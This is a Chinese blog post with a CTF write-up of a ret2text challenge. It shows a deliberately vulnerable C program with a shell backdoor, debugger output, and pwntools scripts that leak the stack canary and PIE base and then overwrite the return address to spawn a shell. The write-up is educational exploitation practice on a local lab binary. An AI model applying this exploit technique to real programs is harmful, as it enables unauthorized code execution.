Featured image of post '简单的'ret2text

'简单的'ret2text

一道ret2text题

ret2text

定义

​Ret2Text​​(Return to Text)是一种​​二进制漏洞利用技术​​,属于 ​​ROP(Return-Oriented Programming)攻击​​ 的简化形式。它的核心思想是​​劫持程序的控制流,使其跳转到程序中已有的代码段(通常是 text 段)​​,从而执行攻击者预期的操作(如获取 shell、绕过保护机制等)。

简单的说,就是栈溢出覆盖返回地址为后门函数从而获取shell。

例题

链接: https://pan.baidu.com/s/1BHMFxXXfB_W1YAMrL8cqmQ?pwd=yabu 提取码: yabu

程序源代码:

#include <stdio.h>
#include <unistd.h>
#include<string.h>
#include <stdlib.h>

void backdoor() {
    puts("this is backdoor.");
    system("/bin/sh");
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    char buf[0x100];

    do {
        puts("please input:");
        read(0, buf, 0x200);
        puts(buf);
    } while (strcmp(buf, "exit") != 0);

    return 0;
}

很显然存在栈溢出漏洞,且存在后门函数,先checksec程序:

64位,四个保护全开😅😅😅

分析:我们想把返回地址覆盖为backdoor的地址,那我们需要泄露程序的地址,而且还存在canary,我们还需要找到canary的值。

在ida查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v5; // [rsp+108h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdin, 0);
  setbuf(_bss_start, 0);
  do
  {
    puts("please input:");
    read(0, buf, 0x200u);
    puts(buf);
  }
  while ( strcmp(buf, "exit") );
  return 0;
}

双击buf:

-0000000000000110 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000110 // Frame size: 110; Saved regs: 8; Purge: 0
-0000000000000110
-0000000000000110     char buf[264];
-0000000000000008     _QWORD var_8;
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

可以看到,buf后紧跟canary(var_8),然后是rbp和返回地址,

栈帧大小是0x110(272字节),也就是buf[264]+var_8(canary),那么用0x108字节数据可以填充完buf,但是如果测试一下以下的代码,发现只把buf打印出来而无法打印出canary,需要把0x108改为0x109来打印出canary,但这会覆盖canary的第一个字节,但没关系,由于是小端序,canary被覆盖的那个字节就是\x00。,

from pwn import *

elf = ELF("./test")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

p.sendafter("please input:\n", "a" * 0x108) //需改为0x109
p.interactive()

执行修改后的代码,得到:

[DEBUG] Received 0x125 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  aaaaaaaaaaaaaaaa
    *
    00000100  61 61 61 61  61 61 61 61  61 b7 8a 52  90 41 3a 63  aaaaaaaaa··R│·A:c
    00000110  c0 42 31 7c  b6 55 0a 70  6c 65 61 73  65 20 69 6e  │·B1|│·U·please in
    00000120  70 75 74 3a  0a                                     put:│·│
    00000125
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb7\x8aR\x90A:c\xc0B1|\xb6U
please input:
$  

canary也就是这一串a后接着的7位,再在开头加上最开始被覆盖的\x00,如果字节值 ​​恰好对应可打印的 ASCII 字符​​,就会直接显示字母/符号,所以打印出来看着很奇怪。

泄露出canary:

from pwn import *

elf = ELF("./test")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

p.sendafter("please input:\n", "a" * 0x109)
p.recvuntil("a" * 0x109)
canary = u64(b'\x00'+p.recv(7))
log.info("canary: " + hex(canary))

p.interactive()

这里就绕过了canary,但我们还需要绕过pie。

pie只会影响程序加载的基地址,如果程序中某个函数,泄露了程序在内存中的地址,我们可以将泄露的地址 - 泄露地址偏移得到基地址,从而可以使用基地址 + 偏移地址定位到程序中的任意位置。

使用gdb调试程序,在puts函数处下断点,查看栈空间:

pwndbg> b *$rebase(0x1281) //0x1281在ida中puts处查看
Breakpoint 2 at 0x555555555281: file test.c, line 20.
pwndbg> r
Starting program: /home/psyloft/PsyKnowBase/看雪CTF-pwn/题包-作业包/extracted/3.2/test 

Breakpoint 1, main () at test.c:11
11      int main() {
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────
 RAX  0x55555555520c (main) ◂— endbr64 
 RBX  0
 RCX  0x7ffff7bb6718 (__exit_funcs) —▸ 0x7ffff7bb7ca0 (initial) ◂— 0
 RDX  0x7fffffffd948 —▸ 0x7fffffffddcd ◂— 'AUTOJUMP_ERROR_PATH=/home/psyloft/.local/share/autojump/errors.log'
 RDI  1
 RSI  0x7fffffffd938 —▸ 0x7fffffffdd81 ◂— 0x73702f656d6f682f ('/home/ps')
 R8   0
 R9   0x7ffff7bb7ca0 (initial) ◂— 0
 R10  0x13
 R11  2
 R12  0x555555555100 (_start) ◂— endbr64 
 R13  0
 R14  0
 R15  0
 RBP  0x7fffffffd840 —▸ 0x5555555552c0 (__libc_csu_init) ◂— endbr64 
 RSP  0x7fffffffd730 ◂— 0x34000000340
 RIP  0x55555555521b (main+15) ◂— mov rax, qword ptr fs:[0x28]
──────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────
  0x55555555521b <main+15>    mov    rax, qword ptr fs:[0x28]          RAX, [0x7ffff7ff65e8] => 0xe7a1b8956a02900
   0x555555555224 <main+24>    mov    qword ptr [rbp - 8], rax          [0x7fffffffd838] <= 0xe7a1b8956a02900
   0x555555555228 <main+28>    xor    eax, eax                          EAX => 0
   0x55555555522a <main+30>    mov    rax, qword ptr [rip + 0x2def]     RAX, [stdin@@GLIBC_2.2.5] => 0x7ffff7bb6980 (_IO_2_1_stdin_) ◂— 0xfbad2088
   0x555555555231 <main+37>    mov    esi, 0                            ESI => 0
   0x555555555236 <main+42>    mov    rdi, rax                          RDI => 0x7ffff7bb6980 (_IO_2_1_stdin_) ◂— 0xfbad2088
   0x555555555239 <main+45>    call   setbuf@plt                  <setbuf@plt>

   0x55555555523e <main+50>    mov    rax, qword ptr [rip + 0x2dcb]     RAX, [stdout@@GLIBC_2.2.5]
   0x555555555245 <main+57>    mov    esi, 0                            ESI => 0
   0x55555555524a <main+62>    mov    rdi, rax
   0x55555555524d <main+65>    call   setbuf@plt                  <setbuf@plt>
────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────
In file: /home/psyloft/PsyKnowBase/看雪CTF-pwn/题包-作业包/extracted/3.2/test.c:11
    6 void backdoor() {
    7     puts("this is backdoor.");
    8     system("/bin/sh");
    9 }
   10 
  11 int main() {
   12     setbuf(stdin, NULL);
   13     setbuf(stdout, NULL);
   14 
   15     char buf[0x100];
   16 
────────────────────────────────────────────[ STACK ]────────────────────────────────────────────
00:0000 rsp 0x7fffffffd730 ◂— 0x34000000340
...         7 skipped
──────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────
  0   0x55555555521b main+15
   1   0x7ffff7822fdd __libc_start_main+237
   2   0x55555555512e _start+46
─────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 40
00:0000 rsp 0x7fffffffd730 ◂— 0x34000000340
...         13 skipped
0e:0070-0a0 0x7fffffffd7a0 ◂— 0x100000000a0
0f:0078-098 0x7fffffffd7a8 ◂— 0x100
10:0080-090 0x7fffffffd7b0 ◂— 0
...         6 skipped
17:00b8-058 0x7fffffffd7e8 ◂— 0xf0
18:00c0-050 0x7fffffffd7f0 ◂— 0xc2
19:00c8-048 0x7fffffffd7f8 —▸ 0x7ffff7c0fa10 (_dl_fini) ◂— push rbp
1a:00d0-040 0x7fffffffd800 —▸ 0x7ffff7bbb2e8 (__exit_funcs_lock) ◂— 0
1b:00d8-038 0x7fffffffd808 —▸ 0x55555555530d (__libc_csu_init+77) ◂— add rbx, 1
1c:00e0-030 0x7fffffffd810 ◂— 0xffffd878
1d:00e8-028 0x7fffffffd818 ◂— 0
1e:00f0-020 0x7fffffffd820 —▸ 0x5555555552c0 (__libc_csu_init) ◂— endbr64 
1f:00f8-018 0x7fffffffd828 —▸ 0x555555555100 (_start) ◂— endbr64 
20:0100-010 0x7fffffffd830 —▸ 0x7fffffffd930 ◂— 1
21:0108-008 0x7fffffffd838 ◂— 0
22:0110 rbp 0x7fffffffd840 —▸ 0x5555555552c0 (__libc_csu_init) ◂— endbr64 
23:0118+008 0x7fffffffd848 —▸ 0x7ffff7822fdd (__libc_start_main+237) ◂— mov edi, eax
24:0120+010 0x7fffffffd850 ◂— 0xc000
25:0128+018 0x7fffffffd858 —▸ 0x7fffffffd938 —▸ 0x7fffffffdd81 ◂— 0x73702f656d6f682f ('/home/ps')
26:0130+020 0x7fffffffd860 ◂— 0x100000000
27:0138+028 0x7fffffffd868 —▸ 0x55555555520c (main) ◂— endbr64 

程序基地址通常以0x55或0x56开始,以这个为例:

1b:00d8-038 0x7fffffffd808 —▸ 0x55555555530d (__libc_csu_init+77) ◂— add rbx, 1

计算偏移:

pwndbg> vmmap 0x55555555530d
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
    0x555555554000     0x555555555000 r--p     1000      0 test
   0x555555555000     0x555555556000 r-xp     1000   1000 test +0x30d
    0x555555556000     0x555555557000 r--p     1000   2000 test
pwndbg> p/x 0x55555555530d-0x555555554000
$1 = 0x130d

编写程序获得基地址:

p.sendafter("please input:\n", "a" * 0xd8)

elf.address = u64(p.recvuntil(('\x55', '\x56'))[-6:].ljust(8, b'\x00')) - 0x130d
log.info("elf base: " + hex(elf.address))

完整exp.py:

from pwn import *

elf = ELF("./test")
context(arch=elf.arch, os=elf.os)

p = process([elf.path])


p.sendafter("please input:\n", "a" * 0xd8)

elf.address = u64(p.recvuntil(('\x55', '\x56'))[-6:].ljust(8, b'\x00')) - 0x130d
log.info("elf base: " + hex(elf.address))


p.sendafter("please input:\n", "a" * 0x109)
p.recvuntil("a" * 0x109)
canary = u64(b'\x00'+p.recv(7))
log.info("canary: " + hex(canary))

payload = b'exit'.ljust(0x108, b'\x00')
payload += p64(canary)
payload += b'b' * 8
payload += p64(elf.sym['backdoor'])
p.sendafter("please input:\n", payload)

p.interactive()
This blog has been running for
Published 11 posts · Total 48.46k words